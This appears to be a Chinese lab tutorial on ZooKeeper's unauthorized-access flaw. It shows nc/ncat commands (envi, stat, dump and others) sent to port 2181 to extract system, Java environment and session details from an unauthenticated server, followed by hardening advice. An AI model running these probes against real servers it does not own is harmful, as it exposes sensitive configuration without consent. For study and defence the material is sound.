zoukankan      html  css  js  c++  java
  • ZooKeeper 未授权访问漏洞

    0x00 漏洞简介

    • ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubby一个开源的实现,是Hadoop和Hbase的重要组件。它是一个为分布式应用提供一致性服务的软件,提供的功能包括:配置维护、域名服务、分布式同步、组服务等。
    • ZooKeeper默认开启在2181端口,在未进行任何访问控制情况下,攻击者可通过执行envi命令获得系统大量的敏感信息,包括系统名称、Java环境。

    0x01 环境搭建

      测试机:Kali
      靶机:Ubuntu
      版本:zookeeper-3.4.14

      分别在测试机和靶机都安装zookeeper-3.4.14
      安装命令如下:

    wget https://mirrors.tuna.tsinghua.edu.cn/apache/zookeeper/zookeeper-3.4.14/zookeeper-3.4.14.tar.gz
    tar -xzvf zookeeper-3.4.14.tar.gz 
    cd zookeeper-3.4.14/conf
    mv zoo_sample.cfg zoo.cfg
    ../bin/zkServer.sh start # 启动
    

      

       搭建成功~~默认端口2181

    0x02 漏洞证明

      获取该服务器的环境

      echo envi|nc 192.168.246.130 2181

    在这里插入图片描述
      。。。。
      试下连接

    ./zkCli.sh -server  192.168.246.130 2181

    在这里插入图片描述
    但是直接连接没问题
      打扰了 是我不配
      搞了好一会 还是2181端口还是关闭的。。。
    在这里插入图片描述

    0x03 漏洞利用

      通过执行envi命令获得系统大量的敏感信息,包括系统名称、Java环境。
      1、stat:列出关于性能和连接的客户端的统计信息。

      echo stat |ncat 127.0.0.1 2181

      2、ruok:测试服务器是否运行在非错误状态。

      echo ruok |ncat 127.0.0.1 2181

      3、reqs:列出未完成的请求。

      echo reqs |ncat 127.0.0.1 2181

      4、envi:打印有关服务环境的详细信息。

      echo envi |ncat 127.0.0.1 2181

      5、dump:列出未完成的会话和临时节点。

      echo dump |ncat 127.0.0.1 2181

    0x04 防御手段

    1、修改 ZooKeeper 默认端口,采用其他端口服务。
    2、添加访问控制,配置服务来源地址限制策略。
    3、增加 ZooKeeper 的认证配置。

    0x05 参考

    https://www.freebuf.com/column/170904.html
    https://xz.aliyun.com/t/6103#toc-7

  • 相关阅读:
    (Go)03.go类型
    (Go)02.go 安装delve调试工具测试
    (Go)01.Windows 安装 Go语言开发环境以及使用
    etcd创建集群并增加节点
    libhiredis.so.0.13 => not found 缺少
    Linux查找并杀死僵尸进程
    k8s istio 配置请求的路由规则
    k8s 安装并试用Istio service mesh
    k8s Job、Cronjob 的使用
    k8s Gitlab CI/CD 之自动编译Docker镜像并推送到指定的Registry
  • 原文地址:https://www.cnblogs.com/ssw6/p/12373803.html
Copyright © 2011-2022 走看看